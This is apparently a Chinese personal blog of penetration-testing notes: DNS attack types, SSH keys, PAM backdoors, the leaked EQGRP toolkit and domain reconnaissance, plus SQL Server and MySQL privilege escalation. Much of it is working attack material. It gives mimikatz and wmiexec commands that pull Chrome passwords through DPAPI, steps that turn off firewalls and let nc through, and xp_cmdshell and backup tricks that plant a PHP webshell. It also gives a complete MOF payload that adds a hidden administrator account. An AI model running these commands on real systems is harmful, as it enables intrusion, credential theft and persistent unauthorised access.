分类 Security 下的文章

几种常见的DNS攻击

1. DNS Spoofing:攻击者通过伪造DNS响应,将用户重定向到恶意网站或者欺骗用户输入敏感信息。
2. DNS Cache Poisoning:攻击者通过向DNS服务器发送虚假的DNS响应,将错误的IP地址缓存到DNS服务器中,导致用户无法访问正确的网站。
3. DNS Amplification:攻击者利用DNS服务器的放大效应,向目标服务器发送大量的DNS请求,导致目标服务器瘫痪。
4. DNS Flood:攻击者通过向DNS服务器发送大量的DNS请求,消耗服务器资源,导致服务器瘫痪。
5. DNS Tunneling:攻击者通过DNS协议传输非法数据,绕过网络安全设备,实现数据窃取或者远程控制。

辨析:

DNS Spoofing 和 DNS Cache Poisoning 的区别

攻击对象:
DNS Spoofing:主要针对用户或客户端,通过伪造DNS响应直接影响用户的DNS查询结果。
DNS Cache Poisoning:主要针对DNS服务器的缓存,通过污染缓存来影响多个用户的查询结果。
实现方式:
DNS Spoofing:通常涉及实时拦截和篡改DNS请求或响应。
DNS Cache Poisoning:通过发送虚假的DNS响应使DNS服务器缓存错误的IP地址。
DNS Amplification和DNS Flood是两种不同的拒绝服务(DoS)攻击方式,它们都涉及向DNS服务器发送大量请求,最终导致目标服务器瘫痪。

DNS Amplification(DNS放大攻击)
攻击方式:攻击者利用开放的DNS解析器,将小的DNS查询请求伪装成受害者的IP地址发送到这些解析器。解析器处理请求并发送大量的响应数据到受害者的IP地址。
放大效应:通过发送较小的请求(例如几十字节),攻击者可以触发较大的响应(例如几千字节)。这样,攻击者能够利用放大效应,发送少量流量却对目标服务器造成巨大的流量冲击。

DNS Flood(DNS泛洪攻击)
攻击方式:攻击者直接向目标DNS服务器发送大量的DNS查询请求,试图通过消耗服务器的资源使其无法正常响应合法请求。
请求数量:DNS Flood攻击依赖于发送大量的请求,而这些请求通常不涉及放大效应。攻击者需要拥有较大的带宽资源以产生足够多的请求来压垮目标服务器。

ssh免密登录

例子:机器A免密登录机器B

# 在A上执行
## 生成密钥对,保存在~/.ssh中,一般有两个文件id_rsa和id_rsa.pub对应私钥和公钥;
## 如果要实现免密登录,在输入passphrase时直接回车,不要输入内容
ssh-keygen -t rsa
scp ~/.ssh/id_rsa.pub username@B_ipAddress:/path/to/temporary_location

# 在B上执行
## 若有多台机器希望免密登录B,在B上的authorized_keys后面追加写入公钥即可
cat /path/to/temporary_location >> ~/.ssh/authorized_keys

passphrase作用是解密私钥


PAM(Pluggable Authentication Modules)可插拔身份认证模块

在/etc/pam.d/文件夹中,每个文件对应一个应用程序或服务。这些文件的命名通常与相应的应用程序或服务的名称相对应。例如sshd文件对应 SSH 服务的身份验证和授权规则,login文件对应本地登录过程的身份验证和授权规则。
提权之后,一种持久化方法是修改PAM。

# 在/etc/pam.d/下文件内容主要依据四个规则:

auth:身份验证规则
    auth required pam_unix.so:使用标准的UNIX身份验证方法进行验证。
    auth required pam_google_authenticator.so nullok:使用Google Authenticator进行两步验证,允许用户在没有启用Google Authenticator的情况下进行身份验证。

account:授权规则
    account required pam_unix.so:使用标准的UNIX账户管理来控制用户的访问权限。
    account required pam_access.so:使用/etc/security/access.conf文件中的规则来控制用户的访问控制。

password:密码管理规则
    password required pam_cracklib.so:使用CrackLib库来检查和强制密码策略。
    password required pam_unix.so sha512 shadow:使用UNIX密码管理和shadow密码文件来存储用户密码。

session:会话管理规则
    session required pam_limits.so:设置用户会话的资源限制,如最大打开文件数和最大进程数。
    session optional pam_systemd.so:与systemd集成,以管理用户会话的生命周期。

举个例子:

# 编辑 /etc/pam.d/login
# 添加或修改以下行
auth required pam_tally2.so deny=5 unlock_time=600
auth required pam_unix.so
account required pam_tally2.so
account required pam_unix.so

此例中,
认证阶段(auth):
pam_tally2.so会首先执行,它会检查登录尝试次数是否超过限制。如果登录尝试次数超过设置的限制(如 deny=5),它将导致认证失败,并且用户账户会被锁定指定时间(如 unlock_time=600)。
即使 pam_tally2.so 失败,pam_unix.so 还是会继续执行。这意味着系统会继续检查用户的用户名和密码是否正确。如果用户名和密码正确,但 pam_tally2.so 失败,整体认证仍然会失败。

账户管理阶段(account):
pam_tally2.so会再次执行,用于更新和检查账户状态,例如解锁被锁定的账户。
然后pam_unix.so会执行,进行标准的账户管理操作,例如检查账户是否已过期。

总结
在PAM配置文件中,每个required模块必须成功,否则整个认证过程将失败。然而,它们会按照配置文件中的顺序依次执行,即使前面的模块失败了,后面的模块也会继续执行,但最终认证结果将取决于所有required模块的结果。


那么是否可以重写pam_unix.so?可以。
只要模块路径正确且模块本身编写和安装正确,PAM 配置文件就能够识别并调用它。
如何编写正确的PAM模块可以参考Linux-PAM GNU
攻击样例可以参考Linux 攻擊場域:SSH 登入攻擊手法初探,文中利用

account sufficient bad_pam.so

指定该模块(bad_pam.so)返回成功(Success)状态,那么就无需再继续执行后面的账户授权规则,即可立即授权通过。而在bad_pam.so中可以操作很多事,比如任意密码登录,登录不被记录,非指定密码(后门账号)登录之后键盘被记录等等。

检测方法

观察/usr/lib/x86_64-linux-gnu/security/和/etc/pam.d/中文件的修改时间hash值是否可疑。

工具集:https://github.com/x0rz/EQGRP_Lost_in_Translation
Fuzzbunch: https://github.com/fuzzbunch/fuzzbunch

EQGRP_Lost_in_Translation中:

EXPLODINGCAN 是 IIS 5/6 远程漏洞利用工具
ETERNALROMANCE 是 SMB1 的重量级利用,可以攻击开放了 445 端口的 Windows XP, 2003, Vista, 7, Windows 8, 2008, 2008 R2 并提升至系统权限,漏洞编号为MS17-010,已于 2017 年 3 月修复。
除此之外 ERRATICGOPHER 、ETERNALBLUE 、ETERNALSYNERGY 、ETERNALCHAMPION 、EDUCATEDSCHOLAR、 EMERALDTHREAD 等都是 SMB 漏洞利用程序,可以攻击开放了 445 端口的 Windows 机器,且基本都已修复于 2017 年 3 月。
ESTEEMAUDIT 是 RDP 服务的远程漏洞利用工具,可以攻击开放了3389 端口且开启了智能卡登陆的 Windows XP 和 Windows 2003 机器。
FUZZBUNCH 是一个类似 MetaSploit 的漏洞利用平台。
ODDJOB 是无法被杀毒软件检测的 Rootkit 利用工具。
ECLIPSEDWING 是 Windows 服务器的远程漏洞利用工具,漏洞编号为MS08-067,修复于2008年。
ESKIMOROLL 是 Kerberos 的漏洞利用攻击,可以攻击开放了 88 端口的 Windows 2000/2003/2008/2008 R2 的域控制器,漏洞编号为MS14-068,修复于2014年。

常用的,DarkPulsar 是一个用户空间的后门程序,而 DoublePulsar 是一个内核级别的后门。
检测:https://github.com/WithSecureLabs/doublepulsar-detection-script
NSA这个工具集对内网很好用,而且用python写的很好改,感觉用的人也不多。

exploit-tables.jpg

31 C0
40 90
74 08

这段shellcode很神奇在32/64bit下反编译效果正好相反

#32bit始终不会跳转Function
31 C0        xor eax, eax
40           inc eax
90           nop
74 08        je Function
#64bit始终会跳转Function
31 C0        xor eax, eax
40 90        xchg eax, eax
74 08        je Function

inittab

现代Linux已用systemd取代了inittab,并将inittab的功能集成在了systemctl中。可以通过编写适当的.service文件并将其放置在/etc/systemd/system/目录下,然后使用systemctl命令来管理和控制这些服务。这是在现代Linux中定义和管理初始化进程的推荐方式。参考SysVinit

但是现代Linux中依然有部分发行版支持自建/etc/inittab,如Arch

ArchWiki中明确指出:重启之前,务必使用 telinit q 测试修改过的 /etc/inittab,任何小小的语法错误都将导致系统无法启动。

可以通过pstree观察PID为1是否为inittab确定是否可用,以及/etc/inittab是否存在判断。并且,虽然现代Linux用systemd取代了,但是其他Unix系统如AIX,以及老的(占有率其实很高)Linux还在用,所以学这个是有意义的。
每个inittab文件条目由四个字段组成,字段之间使用冒号(:)进行分隔。格式如下:

Identifier:RunLevel:Action:Command

Identifier(标识):一个用于唯一标识该条目的字符串,可以是一个或多个字符。
RunLevel(运行级别):指定可以在哪个运行级别下处理该条目。运行级别与系统中的进程配置相对应,使用数字0到9表示。例如,如果系统处于运行级别1,那么只有RunLevel字段中包含1的条目才会启动。如果没有指定任何运行级别,那么假定该进程在所有运行级别下都有效。
Action(操作):指示初始化命令如何处理指定进程。
    respawn:如果该进程不存在,请启动它。在进程终止时,重新启动该进程。
    wait:启动该进程并等待它的终止。当进入与条目的运行级别匹配的运行级别时,执行该操作。
    once:启动该进程,并且不等待其终止。当它终止时,不要重新启动该进程。
    boot:启动该进程,但不等待其终止。只在系统引导期间执行一次。
    off:在系统引导期间不启动该进程。
Command(命令):要执行的命令或脚本。命令用“”包裹,或者填入脚本路径。

每个条目都以换行符分隔,可以使用反斜杠(\)表示条目的连续。可以在行的开头使用冒号(:)将条目注释掉。
另外要注意Identifier必须唯一,不能冲突,Runlevel不同发行版可能有所不同。

.service

一个典型的.service文件包含以下几个部分:

[Unit]:这个部分定义了服务的基本信息,包括服务名称、描述、依赖关系等。
    Description:描述服务的简短说明。
    Requires:定义服务所依赖的其他服务。
    After:定义服务在哪些其他服务之后启动。
[Service]:这个部分定义了服务的执行参数和行为。
    Type:指定服务的类型,可以是simple(默认值)、forking、oneshot、dbus、notify等。
    ExecStart:指定服务启动时要执行的命令或脚本。
    Restart:定义服务在发生故障时的重启行为。
    WorkingDirectory:指定服务运行的工作目录。
    User和Group:指定服务运行的用户和用户组。
[Install]:这个部分定义了服务的安装配置。
    WantedBy:定义服务在哪个target或目标中激活。

示例

[Unit]
Description=My Service
After=network.target

[Service]
Type=simple
ExecStart=/usr/bin/my-service
Restart=always
WorkingDirectory=/path/to/service
User=myuser
Group=mygroup

[Install]
WantedBy=multi-user.target

原理

chrome储存的明文密码时使用windows提供的DPAPI进行对称加密来保证安全性。加解密的密钥称为master key。master key被用户登录密码、SID和16字节随机数加密后保存在Master Key file(%APPDATA%\Microsoft\Protect\%SID%)中。

三种情况

1.A用户获取自己chrome密码不需要知道master key
2.A获取B用户,如果B用户在线,那么可以直接从内存中抓取出B的maste key
3.A获取B用户,B不在线,就需要用b用户的明文密码或者NTLM hash计算出master key,在回到上面一步。

1、获取自己的chrome密码

dpapi::chrome /in:'C:\Users\<UserName>\AppData\Local\Google\Chrome\User Data\Default\Login Data' /unprotect

2、获取在线用户的密码

因为用户在线,所以用mimikatz抓内存即可
impacket/examples/wmiexec.py

privilege::debug
sekurlsa::dpapi

python wmiexec.py <UserName>:<password>@<ip> 'path/to/mimikatz "privilege::debug" "sekurlsa::dpapi" exit'

导出之后关注两个值
MasterKey
sha1(key)

#wmiexec.py/smbexec.py/psexec.py都可以
python wmiexec.py <UserName>:<password>@<ip> 'cd c:\users\public && Minimimini64.exe "dpapi::chrome /in:\"C:\Users\<UserName>\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /masterkey:<your/MasterKey/or/sha1(key)>" exit '

3、获取离线用户密码

如果我们知道用户xxx的明文密码,可以用runas降权(或者进行一些spwan的操作降权),降权之后又回到了最简单的情况。(因为runas需要交互式shell,所以这种方法比较鸡肋)

runas /user:<UserName>@<domainName> "cmd.exe"

在没有交互式的情况下可以直接用mimikatz直接算出master key
1.知道明文密码

dpapi::masterkey /in:"c:\Users\<UserName>\AppData\Roaming\Microsoft\Protect\<直到最后一个文件>" /password:<password>

有结果之后继续按照第2种情况
2.知道NTLM hash

dpapi::masterkey /in:"c:\Users\<UserName>\AppData\Roaming\Microsoft\Protect\<直到最后一个文件>" /hash:<NTLM hash>

有结果之后继续按照第2种情况

域信息
很多命令和工具都是重复造轮子,记住几个常用,用的顺手的即可。

#用ipconfig /all查看当前主机的域信息(systeminfo也能显示域和DC信息,如果域为WORKGROUP,则不在域中)
#"Primary Dns Suffix"或"DNS Suffix Search List"(主DNS后缀,DNS后缀搜索列表)会显示域信息
#直接查询域
net view /domain
#查看DC信息
nltest /dclist:<域的名称>
#查看DC的详细信息
nltest /server:<DC主机名> /serverinfo
#查看当前登陆的域信息(查看如当前登陆用户是本地用户还是域用户)
net config workstation
#判断主域(存在域林的时候)(通常主域服务器也作为时间服务器)
#主域是一个逻辑概念,代表了域林中具有特殊角色和权限的域。它可以由多台域控制器组成,这些域控制器可以在不同的服务器上部署,以实现高可用性和负载均衡。
net time /domain

#查询域内所有计算机
net view /doamin:<域的名称>
#查询域内所有组
net group /domain
#查询组内所有计算机
net group "<组名>" /domain
#获取用户的详细信息
wmic useraccount get /all
#查询域密码策略
net accounts /domain

#dsquery
dsquery computer - 查找目录中的计算机。
dsquery contact - 查找目录中的联系人。
dsquery subnet - 查找目录中的子网。
dsquery group - 查找目录中的组。
dsquery ou - 查找目录中的组织单位。
dsquery site - 查找目录中的站点。
dsquery server - 查找目录中的 AD DC/LDS 实例。
dsquery user - 查找目录中的用户。
dsquery quota - 查找目录中的配额规定。
dsquery partition - 查找目录中的分区。
dsquery * - 用通用的 LDAP 查询来查找目录中的任何对象。

#快速探测内网主机
for /L %I in (1,1,255) do @ping -w 1 -n 1 192.168.0.%I | findstr "TTL="
#查询域内某台主机的ip
nslookup <域内机器名称>

#查询与本机有关的共享文件夹
net share
#wmic也能查看共享文件夹
wmic share get name,path,status
#查询当前用户SID
whoami /all
#查询指定用户的详细信息
net user XXX /domain

#查看计划任务
schtasks /query /fo LIST /v
#获取本地管理员(通常包含域用户)信息
net localgroup administrators
#查看当前在线用户
query user || qwinsta
#除了systeminfo,还能用WMI查看安装在系统中的补丁
wmic qfe get Caption,Description,HotFixID,InstalledOn

防火墙

#***关闭防火墙***
#windows server 2003之前
netsh firewall set opmode disable
#windows server 2003之后
netsh advfirewall set allprofiles state off
#查看防火墙配置
netsh firewall show config
#windows server 2003之前 允许指定程序全部连接
netsh firewall add allowedprogram <path/to/program> "allow nc" enable
#windows server 2003之后 允许指定程序入网
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="<path/to/program>"
#允许指定程序出网
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="<path/to/program>"
#自定义防火墙日志的存储位置
netsh advfirewall set currentprofile logging filename "<path/to/file.log>"

查看代理

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
#注册表可以用HKCU代替HKEY_CURRENT_USER;HKLM代替HKEY_LOCAL_MACHINE
#HKEY_CLASSES_ROOT (HKCR):包含文件关联、COM组件和注册表映射等信息。
#HKEY_CURRENT_USER (HKCU):包含当前用户的配置信息。
#HKEY_LOCAL_MACHINE (HKLM):包含计算机的全局配置信息。
#HKEY_USERS (HKU):包含所有用户配置信息的顶级节点。
#HKEY_CURRENT_CONFIG (HKCC):包含当前系统配置信息。

Windows RDP

#允许3389端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
#开启RDP
#windows 2003
wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
#暂时不知(__CLASS !="")这个过滤是否多于
#windows 2003之后
wmic /namespace:\\root\cimv2\terminalservices path Win32_TerminalServiceSetting where (__CLASS !="") call Set AllowTSConnections=1
#还有一种where (TerminalName='RDP-Tcp')的过滤,更加精确,但是似乎只在winserver2012起作用

SQL Server

1. xp_cmdshell

可以直接通过cmd执行命令,限制少。但是xp_cmdshell是扩展存储过程(Extended Stored Procedure),需要dll支持,默认情况不开启。

#查看xp_cmdshell是否开启,返回1开启,0关闭
select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'  
#若关闭,重新开启(需要xplog70.dll)
dbcc addextendedproc("xp_cmdshell","xplog70.dll");
#两种方式执行
exec xp_cmdshell 'whoami';
EXEC master..xp_cmdshell 'whoami'

2. sp_oacreate & sp_oamethod

与xp_cmdshell区别是sp_xxx为标准的存储过程,sqlserver自带。但是限制多,sp_oacreate等通过COM(Component Object Model)对象实现,不能达到cmd那样执行的权限。

#查看sp_oacreate是否可用,0为可用,1为不可用
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami'
#如果不可用,可尝试开启
EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;
#此方法无回显,但可以写到文件中查看
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\test.txt' 

3. OPENROWSET

见《SQL注入攻击与防御》提权章节

4. 数据库差异备份写webshell

差异备份(Differential Backup)会备份自上次完整备份以来发生的更改部分,而不是仅仅与之前备份不相同的内容。它会将自上次完整备份以来的所有更改都保存到差异备份文件中,而不会重复保存相同的内容。
条件:
1.用户权限足够大(DBA or SA)
2.目标目录可写
3.知道网站绝对路径

#第一步
create DATABASE Testdb;
#第二步
backup database Testdb to disk = 'c:\test2.bak';
use Testdb;
create table [dbo].[Testdb] ([cmd] [image]);
insert into Testdb(cmd) values(0x3c3f70687020706870696e666f28293b3f3e);
#3c3f70687020706870696e666f28293b3f3e为ASCII对应16进制的<?php phpinfo();?>
#第三步 DIFFERENTIAL对应差异备份
backup database Testdb to disk='C:\\phpinfo.php' WITH DIFFERENTIAL,FORMAT;

5. 日志差异备份写webshell

日志备份重复性好、多次备份的成功率高,相对于差异备份而言,shell的体积较小。因此一般采用日志备份。LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在2008上是这样的。
其利用条件如下:
1.用户权限足够大(DBA)
2.数据库已完整备份过一次
3.目标目录可写
4.知道网站绝对路径

create database Testdb      --新建数据库Testdb
alter database Testdb set RECOVERY FULL;   --修改数据库恢复模式为 完整模式
create table cmd (a image);        --创建一张表cmd,只有一个列 a,类型为image
backup log Testdb to disk= 'C:\\1.php' with init;   --备份表到指定路径
insert into cmd (a) values(0x3c3f706870706870696e666f28293b3f3e);  --插入一句话到cmd表里
backup log Testdb to disk='C:\\phpinfo.php';   --把操作日志备份到指定文件

MySQL

手工可看https://xz.aliyun.com/t/10373,非常详尽

1. UDF

UDF和存储过程比较像,区别在于
1.返回结果:UDF必须返回一个值,可以是标量值(如整数、字符串等)或表值(返回一张结果集)。存储过程可以执行一系列操作,但它不需要返回结果。
2.使用方式:UDF通常在查询中使用,可以像内置函数一样调用。存储过程通常通过执行存储过程的语句来调用,可以包含输入和输出参数。
使用条件:
1.mysql有写入文件的权限,即secure_file_priv的值为空
2.有udf.dll且在指定路径下

1.系统版本为:Server 2003、Windows XP、Windows 7及以下版本
2.mysql的root用户密码
3.UDF存放目录:
mysql<5.2,存在于系统目录c:/windows/system32/;
mysql>5.2,存在于安装目录MySQL\Lib\Plugin\
#如果没有,sqlmap和msf也带了dll
##sqlmap:
###/opt/sqlmap/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
###/opt/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
##解码脚本:
###/opt/sqlmap/extra/cloak/cloak.py
##msf:
###/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys.dll

用法:

# 创建一个 MySQL 函数,将其与 udf.dll 中的函数关联起来
CREATE FUNCTION <udf_func_name> RETURNS STRING SONAME 'udf.dll';
# 之后就可以使用:
SELECT <udf_func_name>('command');

网上有很多利用工具

https://github.com/T3st0r-Git/HackMySQL

2. MOF

MOF(Managed Object Format)文件是一种文本文件,用于定义和描述管理对象的结构和行为。WMI(Windows Management Instrumentation)是Windows操作系统中的一项管理技术,它使用 MOF 文件来描述和管理系统资源、配置和性能。在 Windows 系统中,WMI 服务会周期性地检测并加载系统中的 MOF 文件。这些 MOF 文件中定义了管理对象的属性、方法和关联关系。一旦 MOF 文件被加载,其中的定义将被解析并注册到 WMI 服务中,使得相关的管理对象可以被访问和操作。
攻击者利用已获取的高权限(如 MySQL 的 root 权限)来上传恶意的 MOF 文件到系统中。攻击者通常会将 MOF 文件存放在系统的特定目录(如C:/Windows/System32/wbem/mof)下。然后,攻击者会使用合法的权限注册该 MOF 文件,使其能够被 WMI 服务加载。
所以 很显而易见,只能在Windows上用,而且一般低版本系统才可以用,比如xp、server2003
以下是一个mof文件例子

#test.mof
#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
  EventNamespace = "Root\\Cimv2";
  Name = "filtP2";
  Query = "Select * From __InstanceModificationEvent "
          "Where TargetInstance Isa \"Win32_LocalTime\" "
          "And TargetInstance.Second = 5";
  QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
  Name = "consPCSV2";
  ScriptingEngine = "JScript";
  ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test test123 /add\")\nWSH.run(\"net.exe localgroup administrators test /add\")";
};

instance of __FilterToConsumerBinding
{
  Consumer   = $Consumer;
  Filter = $EventFilter;
};
#payload:
select load_file("path/to/test.mof") into dumpfile "path/to/store/mofFile"

MSF

msf中自带UDF和MOF提权模块
sql.png